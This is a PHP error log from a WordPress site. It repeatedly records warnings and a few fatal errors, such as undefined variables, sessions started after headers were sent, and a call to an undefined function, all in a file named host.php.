[01-Jun-2026 03:23:38 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[01-Jun-2026 03:23:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[01-Jun-2026 03:23:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:54:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:54:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:54:51 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:54:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:54:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:55:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:07 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:07 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:07 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:55:07 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:07 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:55:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:10 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[04-Jun-2026 00:55:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[04-Jun-2026 00:55:10 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:55:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:29 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:29 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:29 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:36 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:37 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:37 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:41 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:42 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:42 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:42 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:47 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:47 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:47 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:50 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:34:56 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:02 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:02 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:02 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:34 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 08:35:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 08:35:34 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 08:35:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 21:13:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 21:13:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 21:13:58 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[08-Jun-2026 21:13:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 21:13:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[08-Jun-2026 23:43:04 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 871
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 871
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 872
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 872
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 873
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 873
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 874
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 874
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 875
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 875
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 876
[08-Jun-2026 23:43:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 876
[08-Jun-2026 23:43:08 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 542
[08-Jun-2026 23:43:08 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 542
[08-Jun-2026 23:43:12 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:12 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:12 UTC] PHP Warning:  Undefined variable $ext in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1192
[08-Jun-2026 23:43:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1207
Stack trace:
#0 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1207
[08-Jun-2026 23:43:14 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1207
Stack trace:
#0 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1207
[08-Jun-2026 23:43:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1207
Stack trace:
#0 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1207
[08-Jun-2026 23:43:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[08-Jun-2026 23:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:12 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:19 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:19 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 01:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 01:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 01:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 01:19:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 01:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:25 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
